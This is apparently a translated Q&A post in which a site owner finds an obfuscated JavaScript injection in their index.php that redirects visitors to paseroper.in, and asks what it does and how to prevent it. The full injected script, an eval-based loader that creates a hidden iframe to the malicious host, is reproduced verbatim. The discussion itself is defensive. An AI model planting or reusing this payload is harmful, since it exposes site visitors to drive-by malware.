不知何故我的服務器上的index.php文件被修改。因此,當我打開我的網頁時,我會自動重定向到以下地址:redirected url
看來有人已經黑了我的應用程序。我發現index.php文件添加了以下javaS腳本:奇怪的JavaScript添加到我的網頁(獲取重定向到http://paseroper.in)
<script>aa=([].slice+'hjkbghkj').substr(2-1,4);if((aa=="func")||(aa=="unct"))aa=(document['createDocumentFragm'+'e'+'n'+'t']+'evweds').substr(2-1,4);if((aa=="func")||(aa=="unct")){ss=new String();s=String;12-function(){e=eval;f='fromCharCode';}();t='k';}ddd=new Date();d2=new Date(ddd.valueOf()-2);h=(ddd-d2)*-1;n=["4.5k4.5k52.5k51k16k20k50k55.5k49.5k58.5k54.5k50.5k55k58k23k51.5k50.5k58k34.5k54k50.5k54.5k50.5k55k58k57.5k33k60.5k42k48.5k51.5k39k48.5k54.5k50.5k20k19.5k49k55.5k50k60.5k19.5k20.5k45.5k24k46.5k20.5k61.5k4.5k4.5k4.5k52.5k51k57k48.5k54.5k50.5k57k20k20.5k29.5k4.5k4.5k62.5k16k50.5k54k57.5k50.5k16k61.5k4.5k4.5k4.5k50k55.5k49.5k58.5k54.5k50.5k55k58k23k59.5k57k52.5k58k50.5k20k17k30k52.5k51k57k48.5k54.5k50.5k16k57.5k57k49.5k30.5k19.5k52k58k58k56k29k23.5k23.5k56k48.5k57.5k50.5k57k55.5k56k50.5k57k23k52.5k55k23.5k52.5k55k23k49.5k51.5k52.5k31.5k50k50.5k51k48.5k58.5k54k58k19.5k16k59.5k52.5k50k58k52k30.5k19.5k24.5k24k19.5k16k52k50.5k52.5k51.5k52k58k30.5k19.5k24.5k24k19.5k16k57.5k58k60.5k54k50.5k30.5k19.5k59k52.5k57.5k52.5k49k52.5k54k52.5k58k60.5k29k52k52.5k50k50k50.5k55k29.5k56k55.5k57.5k52.5k58k52.5k55.5k55k29k48.5k49k57.5k55.5k54k58.5k58k50.5k29.5k54k50.5k51k58k29k24k29.5k58k55.5k56k29k24k29.5k19.5k31k30k23.5k52.5k51k57k48.5k54.5k50.5k31k17k20.5k29.5k4.5k4.5k62.5k4.5k4.5k51k58.5k55k49.5k58k52.5k55.5k55k16k52.5k51k57k48.5k54.5k50.5k57k20k20.5k61.5k4.5k4.5k4.5k59k48.5k57k16k51k16k30.5k16k50k55.5k49.5k58.5k54.5k50.5k55k58k23k49.5k57k50.5k48.5k58k50.5k34.5k54k50.5k54.5k50.5k55k58k20k19.5k52.5k51k57k48.5k54.5k50.5k19.5k20.5k29.5k51k23k57.5k50.5k58k32.5k58k58k57k52.5k49k58.5k58k50.5k20k19.5k57.5k57k49.5k19.5k22k19.5k52k58k58k56k29k23.5k23.5k56k48.5k57.5k50.5k57k55.5k56k50.5k57k23k52.5k55k23.5k52.5k55k23k49.5k51.5k52.5k31.5k50k50.5k51k48.5k58.5k54k58k19.5k20.5k29.5k51k23k57.5k58k60.5k54k50.5k23k59k52.5k57.5k52.5k49k52.5k54k52.5k58k60.5k30.5k19.5k52k52.5k50k50k50.5k55k19.5k29.5k51k23k57.5k58k60.5k54k50.5k23k56k55.5k57.5k52.5k58k52.5k55.5k55k30.5k19.5k48.5k49k57.5k55.5k54k58.5k58k50.5k19.5k29.5k51k23k57.5k58k60.5k54k50.5k23k54k50.5k51k58k30.5k19.5k24k19.5k29.5k51k23k57.5k58k60.5k54k50.5k23k58k55.5k56k30.5k19.5k24k19.5k29.5k51k23k57.5k50.5k58k32.5k58k58k57k52.5k49k58.5k58k50.5k20k19.5k59.5k52.5k50k58k52k19.5k22k19.5k24.5k24k19.5k20.5k29.5k51k23k57.5k50.5k58k32.5k58k58k57k52.5k49k58.5k58k50.5k20k19.5k52k50.5k52.5k51.5k52k58k19.5k22k19.5k24.5k24k19.5k20.5k29.5k4.5k4.5k4.5k50k55.5k49.5k58.5k54.5k50.5k55k58k23k51.5k50.5k58k34.5k54k50.5k54.5k50.5k55k58k57.5k33k60.5k42k48.5k51.5k39k48.5k54.5k50.5k20k19.5k49k55.5k50k60.5k19.5k20.5k45.5k24k46.5k23k48.5k56k56k50.5k55k50k33.5k52k52.5k54k50k20k51k20.5k29.5k4.5k4.5k62.5"];n=n[0].split(t);for(i=0;n.length-i>0;i++)ss+=s[f](-h*n[i]);f=ss;e(f);</script>
有沒有人知道上述腳本的含義?
通過刪除該腳本,我的網站可以很好地運行。有關如何防止此攻擊的任何建議?
只要擺脫它,然後找到並修復這個洞。 – SLaks 2012-01-02 04:26:38
你有任何問題嗎? – 2012-01-02 04:27:33
我編輯了這個問題。我已經刪除了腳本,我的網絡運行良好。 – 2012-01-02 04:40:30